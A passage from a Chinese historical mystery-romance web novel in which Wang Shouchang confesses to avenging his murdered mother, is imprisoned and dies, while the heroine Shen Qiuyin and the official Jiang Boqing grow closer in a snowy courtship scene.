就这样过了一月,两人的关系忽然暧昧起来。
母亲越看他越欢喜,终于在某个晚上红着同他说:“我喜欢你,你呢?”
王庭玉一愣,脸颊也红了,支支吾吾道:“你,你,你是姑娘家,这话该我同你说的。”
她笑了起来,“临安女子都是这般大胆,遇见的喜欢的男子,不会在意面子的。”
只要喜欢,便随着心意去,只管得到一个答案。
王庭玉也笑了:“我也喜欢姑娘!”
不久后,他们在月老庙里定下了终身,行了三书六礼,明媒正娶。
婚后不到一月,王庭玉便拿着她所有钱去了濮阳,走时同她说:“等我高中,接你到濮阳。”
“嗯!”她点点头,依依不舍送他离去。
他走后半月,她发现自己怀有身孕,写信与他说。
他高兴极了,回信道,若是男孩,便叫守常,若是女孩便叫连翘。
她也高兴,又拿起笔给他写了厚厚的一封信,交给信差时,千叮咛、万嘱咐。
初时他们每隔几日,便通一会书信,但渐渐地,书信少了,甚至彻底断了联系。
王庭玉仿若人间蒸发了一样,世间再无这个人。
人人都说他死了,母亲不信,挺写大肚子独自来了濮阳,却发现王庭玉改头换面,成了王松林,还娶了户部尚书之女,做了他的乘龙快婿。
母亲怒极了,在一个午夜堵住了他,要他给个说法。
王庭玉像变了个人似的,全然没有一点深情,也不顾她还怀着身子,将那些名利场的话都一一说来。
他一个穷书生在濮阳一没背景、二没靠山,想要平步青云,难如登天。
这时候,户部尚书之女对他一见钟情,王庭玉当即动了想法,想走这条捷径。
可他与母亲的婚事过了明路,户籍之上亦有记载,只要一查便能知晓他已有妻室,如此,他便狠下心找人帮他换了籍贯,也改了名字,以此得了户部尚书青睐,娶了小姐,在濮阳扎根,做了大官。
母亲失望地看着他,此后与他断了联系,独自回到了濮阳,生下了他。
即使与王庭玉决断,他还是叫守常,因为母亲说,他是带着爱出生的孩子,守常守常,也是父亲给他的爱,只是时局所困,令这个人变了。
在母亲细心照顾下,他茁壮成长,而母亲郁郁寡欢,身体逐渐衰败了下去。
她还是抹不平心底的伤痕,恨着那个负心汉。
也想不明白,好好的一个郎君,怎么就成了攀附权贵之人。
王守常解不开母亲的心结,只能劝慰。
母亲的病却愈发的重,他找了临安所有的大夫来医,都不行,大夫们束手无策,迫于无奈,只能带母亲去濮阳,找名医。
也是这一趟,他永远失去了母亲。
王庭玉隐婚之事终究泄露,户部尚书家的小姐与他闹了起来,户部尚书更是向他施压,王庭玉为了将事情摆平,竟生了杀意。
那天晚上,母亲突然咳血,他匆匆出门,去外头清医者上门,回来却见着王庭玉握长剑刺穿了母亲的胸膛,血流不止。
他当即要扑进去,母亲却用最后的力气摇头,要他走。
他忍着疼走了,躲过了这场杀伐,而母亲却永远走了,再也回不来。
他失魂落魄回到濮阳,一度想要随母亲而去,但仇恨充斥,此后数年,他心怀怨恨活着,活到有能力报仇。
或许是老天睁眼,王庭玉心狠手辣,谋杀结发之妻,竟然导致多年无所出。
户部尚书家
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的小姐不准他纳妾,他也不能看着王家绝后,主动找上了他。
他毫不避讳道:“我杀你母亲之时,亦知晓你在门外,若不是你身上流淌着我的血脉,你走不出那个屋子。”
王守常握紧了拳头,静待他的下文,他继续道:“守常,不要用仇恨的眼睛看着父亲,咱们才是最亲密的人,如今父亲需要你,来到我身边,我帮你铺路,以后你会成为人上人,享有无边的权利。”
为了报仇,王守常装得乖顺,去到他的身边。
他安排他进太学,让他学诗书礼仪,拳脚功夫,更带他结交人脉。
人人都说,吏部尚书格外赏识这个后生,唯有他们知道究竟是怎么回事。
王庭玉这人刚愎自用,他用了好些手段才爬上吏部尚书之位,可老天却要让他后继无人,这怎么可以!
所以,他需要他,培养他,要把他的权势给他。
并且他也坚信,荣华富贵可以迷掉他的双眼,可以让他忘却仇恨,听命于他这个父亲。
但王守常心里只有母亲,他只想为母亲报仇。
而机会,就在灯会。
他偶然得知王庭玉会在灯会那日去见花楼里一个相好的姑娘,便想做下了局,取他性命。
灯会之前,他早早找到举办灯王比武的东家,并借了王庭玉的权势,提前看到了灯王,并在灯王上撒上了迷迭香。
等着灯会时,他上台比武,赢了灯王,在台上接受众人喝彩之时,灯王上的迷迭香会随风飘入每个人身体上,从而使他们产生幻觉。
所以,那晚上根本没有黑影,也没有贼人,他的腰牌也没丢,众人所见,都是假相。
他要的是人们爆乱,搅乱灯会。
因此,他故作腰牌丢失,引人去找,人群乱了开来,如此大的动静,自然也吸引了在灯会上的王庭玉。
王守常抓住这个机会,避开了众人,绕到了王庭玉身旁,趁其不备将他敲晕,而后带到她母亲死的屋子里,一刀刀将他凌迟,不留全尸。
他出来时,手上,脸上,衣服上都沾满了血,大仇得报的快感将他包围,但永失所念的失落也随之而来,他一声声叫着母亲,想得个回应。
但一切,寂寥无声。
他熬过了痛苦的阶段,正要处理后事,姜泊清却来得那样快,他只能随意换了件衣服,匆匆逃离。
逃离的路上,他撞见了沈秋吟,本以为完了,却不曾想迷迭香的药效还未过,她还处在幻影中,嚷嚷着替他抓贼。
王守常松了口气,看着她离去,自己也赶到安全的地方,为接下来的事情做准备。
众人听完前因后果,阵阵唏嘘,甚至有人为他而泣。
王守常挺得笔直的脊梁佝偻了下去。
底下的陆昭明也不由地感叹:“他设了一场好大的局,只是为了报仇血恨,濮阳的百姓都被他算计了进去,若他为官,必定是个可造这才,可惜……可惜了。”
十月怀胎,鬼门一趟。
血海深仇,不得不报。
王守常又抬起头,哽咽道:“我的母亲是个好人,她做了无数好事,为什么没有得到福报。让她遇上了王庭玉这个畜牲不如的东西。”
他不明白,也不理解。
人人都说好人有好报,可她母亲为什么没有?
她明明救了人的,她做了那样多的好事。
临安城里,路过的乞丐,病弱的老者,幼小的孩童,个个都受过她的恩惠,为什么她还要落得这般下场?
他坐在台上,一遍遍问着为什么,他看着台下众人,想要得到一个答案。
众人的沉默令他无措。
沈秋吟抹了一把泪,走了上去,拍了拍他的肩。
“你有没有听过一句话,让好人早死,是为了免去活着的痛苦。”
她实在不知该如何安慰他了,将这句话说了出来。
王庭玉转头看她,湿润了眼眶,落下泪来,像小孩耍混一样,道:“可我只要母亲。”
他只要母亲,只要母亲回来,握着他的手,教他酿酒。
“我母亲酿得酒,整个临安无人能敌。她说过要将所有的技艺都传给我的。”
他又埋下了头,掩面哭泣,哽咽之间,还叫着母亲。
他多希望,她能应答一声呀!
可是母亲去了许多年,再也回不来了。
他成了孤家寡人,同样也成了无家可归之人。
天空又飘下豆大的雪,似也在为他的故事感慨。
新年的前夕,本该万家灯火,阖家团圆。
他小时候想,等大了就带母亲走遍山川大河,看遍世间繁华,让她做一个开心的老太太。
而现实,却叫他孑然一身,与冷清相伴,瞧着旁人得家人相守,享亲情之乐。
终究是命运不公。
良久,王守常缓过了情绪,又恢复了往日的冷漠,他看了一眼坐于马上的姜泊清,对她道:“沈秋吟,你也是好人,希望你别步我母亲的后尘。”
沈秋吟坚定道:“他不会的。”
他笑了笑,由衷说道:“希望如此。”
而后,他抬起了自己的双手,对姜泊清道:“姜大人,我伏法。”
42. 什么时候发现的?
王守常一事在濮阳传开,吏部尚书王松林生前所做的烂事也被翻了出来。
烧杀抢掠,无恶不作,磬竹难书。
天子震怒,褫夺谥号,掘了他的墓葬,尸骨丢去喂狗。
王守常之事,则交由大理寺依法定夺。
然而,因着他被捕当日,在大庭广众之下,将杀人缘由一一说来。
众人感叹他的孝心,又加上王松林身前所犯罪恶,引来万民清愿,不判王守常死刑。
可依西崤律,杀人应当偿命。
因着这个,大理寺门口日日堵满了人,大理寺卿焦头烂额,姜泊清和陆昭明也天天被唤去商议该如何判。
是依律还是依民意?
这是个难题。
姜泊清和吕昭明认为应当顺应民意,母仇子报,从道德上讲,没有任何问题。
但保法派不依,说什么也要按照西崤条律来。
且天子所说乃依法定夺,若不判死刑,岂非打他的脸。
因着这个双方闹了好大的矛盾,为此一群文官还差点动起了手,此事越拖越久,民众也闹得厉害,当天晚上,大理寺卿单独见了姜泊清。
灯火幽微的屋子里,大理寺卿坐在高堂,姜泊清站在中央。
“那一日,你能阻止他的对吧?”
这个他,指的是王守常。
若在王守常将诸事公之于众时将他逮捕,就不会引得万民请愿,惹出后头诸多事来。
姜泊清似是不明,问道:“师傅何出此言?”
大理寺卿未语,看着姜泊清,眸中情绪,晦暗不明。
良久,他说:“你还是放不下吗?”
姜泊清抬起头,一双满是仇恨的眸子令人心惊。
他沉着声道:“弑母之仇,如何能放!”
大理寺卿听了,常常地叹了一口气。
这晚过后,大理寺卿二进宫见天子,陈其利弊。
天子听后下令,顺应民心,不判王守常死刑,判监禁二十年。
王守常一事了结,户部尚书一族也有了审判。
他与王松林一样贪污作恶,收刮民脂民膏。
大理寺判其族流放大漠,族中男子及其后人,不得科考,不得为官,女子入贱籍,发送军中为妓,永不脱籍。
行刑前一日,沈秋吟去大牢看他,给他带了临安菜,还备了黄酒
王守常手脚都拷上了铁链,随着他的移动,在漆黑又寂静的牢中,发出清脆的响声。
她从铁栅栏的缝隙将黄酒递给他,也将户部尚书被查之事告诉他。
他听后,竟笑着哭了起来,一遍遍说道:“真好,真好!”
他盼了多年,恶人终于得了应有的下场。
母亲,你知晓了吗?
你在天有灵,看见了吗?
他抹干泪水,拿起酒,凝眸看了好一阵,才揭开红封,喝了一口。
“什么时候发现的?”他蓦然出声,清亮的眸子映出她的容颜。
乌黑黑的牢狱令她的双眼不适,她短暂的晃了下神,愣了好一会儿,才反应过来,他说的什么。
她迎上他的视线,黑暗里,依稀可见他憔悴的脸。
她坐了下来,也拿了一瓶酒,揭开封红,隔着铁栅栏与他碰了一下,轻抿了一口,这才缓缓道:“你切鱼的时候。”
那晚他带剑而来,她心里虽有感应,直觉他不是好人,却没往吏部尚书之死想,顶多听了他的姓,咋一下会想到那个闹得满城风雨的死人也姓王。
直到她在厨房忙碌,他主动帮忙切鱼片。他刀工了得,鱼片薄得透光。
她一下子就想到了吏部尚书的死法,被人一刀刀切成片,每一片都薄得透光,连个全尸都没留下,杀他之人当真是恨极了他。
而眼前人也有这样好的一手刀工……一颗怀疑的种子就这样在心中埋下。
不过,她仅是怀疑,并未断定,而后来陆昭明突然来食楼,道他不是濮阳人,而是临安人时,她隐隐有了定论。
那天晚上,她回到屋里,细细回忆了一番他来食楼到近日所做之事,终于从带他去客房路上的对话里找出了一点蛛丝马迹。
姜泊清告诉过她,灯会见鬼皆是假象。既是假象,那便无鬼。既然无鬼,那黑影也是虚妄。既无黑影,何来腰牌丢失之说。
想通了这一点,沈秋吟虽不敢断定他与吏部尚书之死有关,但也知晓王守常不是一般人,他身上肯定背负着什么不可告人的秘密。
此事重大,宁可错杀,也不可放过。她办不了,便让人去找了陆昭明,得了他一句准话。
原来,陆昭明那日入食楼,也并非无故,本就是要来试探他。
大理寺早已盯上了他。
王守常这人,如她所料,不简单。
她放下酒瓶,抬眸看他,问出心中疑惑。
“灯会你登台比武,我在下面看着,你功夫了得,大可不要通行证闯出城去,为什么要等?”
他又拿起酒瓶,仰头喝了一口酒,烈酒入喉,他呛了两声,说道:“你也说了,大理寺早已盯上了我。那么,我还跑得掉吗?”
太学闭馆之日,其他学子都得了通行证,独他因签发人的失误没有得到,那一刻,他就知道自己走不了了。
大理寺或许已经布下天罗地网,他若闯城,就坐实了有鬼。
不必其他证据,就能判他的罪。
可他不能就这样被带走,王松林的罪不能只有他知晓,他要昭告天下,让天下人都知道,表面风光霁月的吏部尚书私底下究竟何等自私自利。
仇恨在胸膛燃烧,既然走不掉了,他便脱下了学子长衫,换一身劲装,带着断刃与长剑,走在了濮阳城的街上。
路上张灯结彩,人人都在迎接即将到来的新年,个个脸上洋溢着笑容。
这样好的氛围也暖不了他的心。
他身上所背负之事,不容许他有别的情绪。
他只能陷在悲愤之中,才能拿剑杀人。
可人心都是肉做的,又岂会不背感染。
他在望不见尽头的长街上看到一对母子,手牵着手,走在灯火下,孩子一手拿灯,一手握着糖葫芦,母亲紧紧握着他的手腕,慢慢地走,边走边和孩子说着逗趣的话。
他眼眶一红,想到了母亲。
这样的场景在他的记忆里也存在过的。
每逢过年,母亲也会带他逛长街,买东西,还会亲手为他做一身新衣服。
他母亲做衣衫的功夫也了得,临安街上的孩子都艳羡他,有个了不起的母亲。
可这一切,因为王松林,成了泡沫。
他陷在回忆里无法自拔,漫无目的走了不知多远。
天已经黑透了,大街上也只有寥寥几个行人,他想寻一家客栈住着,可问遍了,都说客房已满,还有些见他带着长剑,不愿接纳。
后来,他走到了长安街,街上一片漆黑,唯有临水的食楼还有微微的光。
这一点点光仿若希望,叫他鬼使神差走了进去。
姑娘见他吓了一跳,他正要为自己的失礼抱歉,却发现这姑娘有些熟悉。
他仔细一看,咦,这不是灯会上撞了他的姑娘吗?
她怎么在这儿?
他的心提了起来,害怕事情败露,握紧了长剑。
可姑娘却丝毫未起疑心,即使对他心存戒备,却也让他住了下来,还问着找到了腰牌吗?
孤身一人久了,突然听到关心的话,总是会心悸,他又想到了母亲。
有母亲在,他何至于此?
再后来,他本想天亮就走,但大雪阻挡了去路,他迫于无奈留在了百膳楼。
如此,他也见了形形色色的人。
当然,她是其中最特别的一个,在她身上他看到了母亲的影子。
她们同样善良,同样坚信好人有好报,同样会对苦难之人施以援手。
可是,好人真的有好报吗?
若是有,他母亲为何会落得那般下场?
“你又是从什么时候知晓我知道你身份的?”沈秋吟继续问。
王守常从回忆里出来,摩挲着酒瓶子答道:“我挟持你时,你虽惜命,却并不慌张、害怕,也没有大惊失色,这不是一个突然被绑架之人该有的神色。”
“而且……那一日的长安街,冷清的可怕。”
自他住进百膳楼,便日日可见长安街的繁华。过往行人,络绎不绝。
这里摊贩云集,酒楼食肆应有尽有,生意火辣。
而在这条街,生意最好的,还是属百膳楼。
他早就听过百膳楼的掌柜背后有人,一个是大理寺少卿姜泊清,与这姑娘关系密切,日日都去楼中用膳,另一个是大财主李保德,楼中跑堂,不见丝毫不满,反而做得开怀。
这两人在濮阳也算举足轻重的人物,有他们在,百膳楼的生意的确好,甚至好到人们宁愿排队,也不愿去别处吃。
而那一日,这条繁华的街道意外冷清,即使有三三两两的人路过,也很快去了别处,不敢停留一步。
冬日本就冷,而长安街却更冷,冷得让人心颤,冷得像昭示他要走到了尽头。
他们终究来了。
只是要如何抓他呢?
他那时未想出来,但进了楼里,他知晓了,屋顶檐下躲满了人。
他们竟然要在百膳楼抓他。
他愣了一下,这是谁的授意?
姜泊清吗?
不应该呀!他与这姑娘有那样的关系,若真在楼中抓他,将这姑娘置于何地?
他看着趴在柜台安然熟睡的沈秋吟。
她知道楼中有人埋伏吗?
她知晓自己所做之事后又该是怎么样的表情?
他敲了敲柜台,她醒了过来,问着他去了哪儿。
他未如实相告自己的去处,正愧疚时,她拉他去厨房准备午饭。
他以为又是和从前一样的蜀地菜,但见着食材是,又是一惊。
临安菜,是临安呀!
她要做临安菜给他吃。
一瞬间,他的猜测落实,这姑娘已经是知道姜泊清在楼中埋伏的,或许她还提供了便利。
临安菜难做,他盯着姑娘的一举一动,她做得一丝不苟,每个步骤都极其规范。
他看着看着,生出了悲凉之感。
这多么像最后的践行呀!
她明明知晓了他的身份,可待他,还如平常。
真是个善良的姑娘。
也真像他母亲。
后来,空旷大堂。他们喝着黄酒,看着月光,说着天涯海角。
一瓶酒完,菜已空盘,他知道是时候了,是时候该了结了。
他说,他拿到了通行证。
这姑娘眼中竟然露出了难过。
她问他是不是要走了。
他笑了起来,他还走得了吗?
走不了了。
强弩之末,困兽之斗。
再也走不了了。
可他还有未完之事。
总要将王松林做的恶事让天下皆知,总要帮他母亲出这一口恶气。
不然他做鬼也不会心安。
所以,他挟持沈秋吟,威胁姜泊清。
从这个男人眼里,他看出了着急、不安。
一向冷面的姜大人,原是动情了。
不过,这个善良的姑娘值得他去喜欢。
只是,要委屈她陪他走一趟了。
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“你当时问我是不是要走,是真希望我走吗?”王守常突然问道。
沈秋吟难过地点点头,“我真希望你能走。杀人偿命,你没错。”
姜泊清是在一个午夜敲响了她的门。
那时雪未停,他从临安快马加鞭赶回濮阳,身上还带着雪意与寒凉,眼眸下更有乌青,一看便是久未休息,操劳过度。
“你……”
久未见这人了,沈秋吟蓦地眼眶润润的,一滴泪不知不觉落了下来。
他还知道回来呀!
她都以为他在临安生根发芽了。
真不是个好人!让她等了好久,一日又一日,就是不见他的影子。
长安街在她眼中更是少了繁华,落寞了起来。
因为街上缺了个公子。
姜泊清伸手抚上她的脸,抹过那滴泪,带着歉意说:“让你久等了。”
他去时以为自己会很快回来,可着手调查后,才发现吏部尚书之案有多么复杂,牵涉了朝廷两个大官。
没来由的,沈秋吟生出了无名的火气,背过身不理他。
他走了进去,默默地弄起了她的头发。
她从铜镜里看着身后的男人,瘦了,也黑了,一看就是吃了很多苦。
可他笑着,眸中有欢喜。
他说:“好久没给你挽发了,手痒痒的。”
她突然就不恼了,却还是恶狠狠地说:“那就给本姑娘挽一个,若是好看,就原谅你了。”
“好啊。”
他应着,从桌面拿了梳子温柔地侍弄她的发,一点点将它们梳顺,小心翼翼,生怕将她弄疼。
“飞流直下三千尺,疑是银河落九天。”
他忽然念出了这诗,又解释道:“阿吟的头发就如这诗。”
沈秋吟被他逗得发笑,“不带这样夸张的。”
他一本正经答道:“我说实话,并非夸张。”
说不过他,如此,就随他去吧。
他的手巧,三两下便挽好了她的头发。
她看着镜中的自己,也看着镜中的他。檐下的帘子也在镜子里摇摇晃晃,晃得人神思流转。
“姜泊清,我原谅你了。”
姜泊清从身后环住了她,看着镜子里的姑娘说:“谢谢。”
后来,雪落屋顶,他们坐在廊下看了一夜的雪。
天快亮时,他十分严肃道:“秋吟,我需要你帮忙。”
也是这个时候,她知晓了真相。
那一晚迷迭香飘到了每个人身上,可姜泊清因为有姜雁给的药包之故,得以幸免。
难怪当时人人都能看见影子,独他看不到。
她以为是他眼瞎,如今看来,是她眼瞎。
世人皆醉,独他清醒。
吏部尚书之死来得蹊跷,太学公子本不该是怀疑之人,可他追查此案时发现了不对。
他顺着线索查下去,最后重返高台,在角落里发现了未散的粉末。
迷迭香。
举办灯王比武的东家被带去问话。
东家如实相告。
王守常走进了他的视线里。
他开始着手查这个人。
而这一查,也查到了许多事。
他的母亲。
吏部尚书。
在临安完成了闭环。
沈秋吟听后大骇,未想到世上竟然有这般没良心的人,连自己的发妻都杀。
“他做得对。”沈秋吟义愤填膺道。
“杀人偿命,的确是对。但秋吟,法律上过不去。他该伏法。”
是啊!道德上,王松林活该如此。
可法律上,王守常是罪人。
只是,命运何其不公。
他不过是替母报仇罢了!
“我能做些什么呢?”
“离开百膳楼。”
这样,她便不会有危险,他亦可以放心逮捕王守常。
沈秋吟听罢,一口否决,“我不走。我信他不坏,抓他之前,容我为他做一顿临安菜好不好?”
她想,他应该在濮阳待很久了。
临安,他也会想临安的。
走之前,在吃上一口家乡的菜,喝一口家乡的酒吧。
王守常太苦了。
姜泊清不允。
沈秋吟软磨硬泡说服了他。
若没有王松林,他也会是个好人的。毕竟,她的母亲那样好,他又怎么会差呢!
王守常笑了起来,“谢谢你,沈秋吟。”
这世上还有人相信他还存有善良,他便也不算愧对母亲。
真好!真好!
“可是,你为什么要借王松林的权势,去看灯王,留下把柄呢?”
不得不说,王守常这场局很大。
可唯一的败笔就在这儿。
这是最大的破绽。
给了姜泊清机会。
“为什么,”王守常撑着头,似也疑惑,“为什么呢?我也不知道为什么。”
沈秋吟还要问下去,狱卒来了,告诉她时间到了。
王守常立起了身子,对她摆了摆手,铁链子又响了起来,清脆却并不悦耳。
他哑着声说:“去吧,去吧,以后别再来了。”
话罢,他背过身去,看向那一丝透光的缝隙。
沈秋吟长长地叹了一口气,依依不舍转身离去。
外面似乎又下雪了,他从缝隙里隐隐见到了白色。
王守常缓缓合上了自己的眼眸。
母亲,你在下面看得见这纷纷白雪吗?
若看不见也没关系,等儿子来同你讲今年西崤的大雪有多美。
母亲,等等我!
孩子,来找您了!
43. 再如孩童
沈秋吟出了大牢。
牢外姜泊清穿一身藏青色长衫,长衫上绣着大块大块松枝,墨色大氅遮挡住了他的脖颈,上面还有一圈狐绒。
他细长的手握着一把油伞,伞面微斜,雪落下后,自然而然的滑了下去。
他站在枯树下,一双微冷的眼在见着她时破冰,有了丝丝暖意。
沈秋吟也看着他。
男子眉骨生得极好,旁人只得一副英骏皮相,便可貌胜潘安。
可他不同,除却好看的皮囊,他还得骨相,越发的出尘飘逸,让人不可近玩,只可远观。
真像一副水墨画,大片大片留白,而他是唯一的中心,世界万物都成了他的陪衬。
寒风之中,或因冷的缘故,他的薄唇有些发白,紧闭着,成了一条线,却倍显坚毅和执拗。脸庞线条分明,凸显硬朗之气,更透着一股子凌厉。
墨发更随风翻飞,在空中打转,而男子却在雪中站得挺拔,如一棵笔直的松。
不。姜泊清更像竹。
咬定青山不放松,立根原在破岩中。
千磨万击还坚劲,任尔东西南北风。
天地万籁无声,他立于雪白之中,显眼而又迷人。
真是个美人。
世间怎得这般好看的人物?难道是女娲偏心,独他是仔仔细细亲手捏出来的,而他人不过是藤条一甩,泥便成人?
风雪更盛,他愈发美得惊心动魄,叫沈秋吟移不开眼,站在原地,傻愣愣地看着。
姜泊清见她久未到他身边来,伸出了手,唤道:“阿吟,过来。”
他的声音清冽,如山上咕咕流着的泉水,沁人心脾,令人一听,便心生欢喜。
沈秋吟回过神来,暗道了一声太没出息,便傻乎乎地跑了过去,自然而然将自己的手放在他的手中。
他的手大,暖乎乎的,一下将她冷冰冰的手包裹住,热气也通过掌心传到了四肢。
霎那间,她觉着冬天似乎也没那么冷了。
姜泊清握住她的手,将伞也往她的头顶倾斜,大雪无情地落在了他的肩头,浸染了大氅上的狐绒,可他满不在乎,时而看前方的路,时而垂眸看身边的姑娘。
姑娘面容姣好,五官精致,仿若雕琢,乌黑秀发一半散着,一半留在身后,随着她的步伐,扫着纤细的腰肢。
楚王好细腰,宫中多饿死。
她若生在楚王宫中,不必挨饿,也能独得楚王喜爱。
她的腰肢,无人能比。
“看什么?”她忽然出声,一双灵动的眸子正盯着他。
他匆匆移过视线,有丝丝慌乱,强作镇定道:“没看什么。”
“当真?”
她觉得不像,他此时的神态,像做坏事被大人抓住了的小孩,透露出尴尬,连目光也游离不安。
“真的。”他硬着头皮说,反正不会告诉她,自己在看她的腰。
他嘴硬。
不愿说的话,怎么也不愿。
沈秋吟懒得与他掰扯,他说没有就没有吧,随他去了。
他们走在雪地里,踩得枯枝作响。
他问:“在牢中都说了些什么,这么久才出来。”
“久吗?”
沈秋吟浑然不觉,她还嫌时间太短,让她未能完全将心中的疑惑解开。
姜泊清答道:“久。”
久到,他都按耐不住性子,想要去牢中找她了。
这个姑娘真真是对他种了蛊,让他半刻也离不开她。
他说得肯定,她想,大概是烂柯伐树,蓦然一瞬。
他又问了一遍牢中之事。
她一五一十讲给他听。
完后,他久未做声,握着她的手紧了紧。
沈秋吟察觉不对,偏头看着他,却见他的脸冷了几分。
她心跳慢了半拍,直觉不好。
这人貌似生气了。
她赶忙问道:“怎么了?”
姜泊清小心眼,记仇得很。若不及时发问,解开他的心结,以后可就有得苦吃了。
他低头看她,乌黑地瞳孔里装满了她,甚至快要溢出来了。
她抵挡不住,沉浸了进去。
男子生了这般深情的眼眸,即使姑娘的心是雪做的,也得被融化。
他一字一顿道:“临安菜、黄酒,沈秋吟,你对他可真真好呀!”
他话里有股子自己也未察觉的酸味。
他就是不满,不满沈秋吟为一个男子准备好酒好菜。
沈秋吟咯噔一下。
觉着大事不妙。
这几天相处下来,她发现姜泊清唤她名字的规律。
高兴时,他会唤她阿吟,撒娇时,他会唤她秋吟,而生气时则会唤她全名。
现下不是貌似了,而是坐实了。
他真生气了。
沈秋吟赶忙解释道:“你知道的,他不容易。临安,临安是他最后的牵挂。监禁二十年,二十年回不了家乡,无人能够探望。这是他最后的一顿菜,最后的一瓶酒。”
过了今日,陪伴王守常的只有无边的黑暗与寂寞。
那么小的地方,若无希望,怎么熬得过去?
姜泊清没说话,指腹摩挲着她的掌心,像在捉弄,又像在发泄不满。
她还欲说些什么,姜泊清率先道:“他不容易。我也不容易,也没见得你做一顿嶂溪菜给我吃吃,备一壶嶂溪的米酒给我喝喝。”
他说的小声,像是从牙缝里憋出来的。
真真是咬牙切齿。
沈秋吟听后,忍不住发笑。
好一个小心眼的男人。
她蹦跶到他面前,挡住了他的去路,眸中有探究的光芒。
她问:“姜泊清,你吃醋了对不对?”
若不是吃醋,哪里说得出这些话,用得着生这样大的气。
“没有,”他不承认,别过头去,不看沈秋吟,还重复了一遍,“我没有。”
这嘴硬得让人想锤软。
沈秋吟却不恼,一遍又遍问着,叫姜泊清不耐烦道:“沈秋吟,你真是个烦人精。”
她不满地“哼”了一声,学着他道:“姜泊清,你真是个嘴硬鬼。”
“烦人精!”
“嘴硬鬼!”
他们乐此不疲说着对方,如孩童斗嘴。
最后姜泊清嘴瓢,说错了话,惹得沈秋吟哈哈大笑。
姜泊清的脸上浮现淡淡的红色,她笑得实在猖狂,他看不下去了,趁其不备,捂住了她的嘴。
“不准笑。”他羞涩道。
她捏住他的手,拍了拍,用眼神示意自己不笑。
“真的?”姜泊清半信半疑道。
沈秋吟眨巴眨巴眼,十分老实,一点儿也不像在说谎。
姜泊清松开了手。
怎知沈秋吟笑得更加放肆,还边笑边跑了起来。
“沈秋吟,你骗我。”他气急败坏,丢开了伞,在雪地里追逐她。
她停了下来,对他做了个鬼脸,还捡了一把雪撒向他。
姜泊清不甘示弱,两人打闹了起来,嬉笑声再空旷的雪地里格外响亮。
沈秋吟体力不如他,最后示弱,求他放过。
姜泊清坏心地拉住她的手,往领子里扔了一捧雪。
她冷的缩脖子,挣扎时滑了脚,连带着姜泊清一起倒在地上。
虽然雪厚,却并不松软,姜泊清吃痛的哼了一声。
沈秋吟趴在他的胸膛之上,担忧地问:“没事吧?”
姜泊清摇摇头,目光落在她的脸上。
天地寂寥无声。
她轻而易举就听到了他扑通扑通地心跳声。
惹得她耳尖尖都红了。
没来由地,她心生慌乱,手撑在雪地,想要起身。
姜泊清却又将她拉了下来,她毫无防备,再次跌入他的怀中。
四目相对间,仿佛燃起了一团烈火,叫人热得发烫。
明明是雪日呀!
北风呼啸得起劲儿,凉风将绿意都冻死了,人怎么还发热呢?
真是奇怪!
姜泊清握住了她搁在他胸膛上的手。
沈秋吟挣扎着要拿出来。
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他不愿。
她低声唤了一句,“姜泊清……”
这一声不像恼怒,到像娇嗔。
“好秋吟……”
这一声,如妖精勾魂,叫她失了心智,安静了下来。
他另一只手抚上了她的脸颊,粗粝的大拇指摩挲着,温暖的触感,让她不由地颤栗。
大雪漫天,万籁俱寂,唯有彼此的呼吸声,在流淌。
姜泊清痴痴地看着她,醉了一般道:“阿吟,我想吻你。”
他的指腹已经移到她的柔软的唇上,挨着,摸着,弄着。
她的脸霎时涨红,如抹了最艳的胭脂,心跳如雷,耳畔也似有蜜蜂飞舞,嗡嗡嗡作响,脑海更是一片空白,停止了思考。
他的气息近了,渐渐与她的气息交织在一起,热热的,痒痒的,让人难耐。
她双手抵在他的胸膛,感受他身体的温度,他撬开了她的牙关,与她纠缠在了一起,时而汹涌,时而轻柔,叫她思绪沉入了海底。
她闭上了双眸,不自觉地攀附他的脖颈,他的双手放在了她的腰间,盈盈不堪一握。
纤细,当真纤细,比他想得还要细上许多。
他使了点力,将她往怀里带了一步。
他们之间的距离缩到最小,中间再没有空隙,两人仿佛融为了一体。
上方的雪还在落,下方的雪还未化。
而置于白茫世界里的人却极致的缠绵,至死方休。
过了许久,姜泊清松开她。
她靠在他的肩上喘着粗气,仿若溺水的人,而他的手还弄着她得细腰,噙着笑说:“阿吟,是甜的。”
沈秋吟羞得闭眸,一巴掌拍在他的胸膛上叫他别在说。
姜泊清抓住她的手,忽地将她抱了起来。
身体骤然离地,她惊呼一声,问道:“干嘛?”
他眉眼都是笑意,温柔地说:“抱我阿吟回家。”
沈秋吟也笑了。
新年在一簇烟花里拉开帷幕,而王守常的死也是在烟花之下传来。
姜泊清说,他是咬舌自尽,狱卒发现时,已经没了深吸。
沈秋吟不可置信,因惊讶而重心不稳,往后退了半步。
“他——”
她吞吞吐吐说不明白,脑海里更是朦胧一片,不知晓自己究竟要说个什么。
良久,眸中落下两行泪来。
为王守常而流。
她蓦然想起牢中之事。
她问他为何要借王松林的势去见灯王,留下这处破绽,让大理寺的人抓住了线索,查到他。
他撑着头,迷茫地反问自己为什么,似乎他不知道自己为什么要那么做。
当时因为狱卒突然而来,打断了他们的谈话,她未细想,只认为百密一疏。
如今想来,他怎么会不知道呢!
或许是他布局之时就未想过要活下去。
若不是大仇未报,他恐怕早不在人世,而去地下伴他母亲了。
“下辈子,愿他如愿。”
得母亲相伴,做一世快乐少年郎,临安街头打马而过,功成名就,带母亲赏遍西崤河山。
姜泊清擦干她的泪水,心疼道:“会的,他会如愿的。”
王守常不遵天子旨意,私自断命,尸体理应扔去乱葬岗,叫野狗吃了去。
大理寺卿于心不忍,求了天子开恩,让尸体火化成灰。
天子念在民意,同意了寺卿的请求。
火化那日,姜泊清陪她去送了王守常最后一程。
烈火之下,骨肉分离,化作灰烬。
姜泊清命人将骨灰收集,送去临安,葬在他母亲身旁。
她给了那人一大笔钱,嘱咐道:“他喜糖鱼、酸白、甜汤,黄酒,安葬好后,为他备上,叫他在地下与他母亲一同吃得欢快。”
生前太苦,死后,便让他甜一点。
那人接过银钱,保证办到,带着王守常的骨灰,纵身上马,一路疾驰。
望着远去的背影,沈秋吟喃喃道:“愿他得偿所愿,常伴母亲身旁,再如孩童。”
44. 原来就是你
她和姜泊清的第一次约会约在城南桥头,那里有一片未结冰的湖,湖中央有一座八角亭,于庭上,可见湖堤风光。
尤其是湖中雪景,更乃一绝,凡所见之人,皆是赞不绝口。
姜泊清同她说时,她一下子就想到了张岱的《湖心亭看雪》。
天与云与山与水,上下一白。湖上影子,惟长堤一痕,湖心亭一点。
都说相公痴,更有痴似相公者?
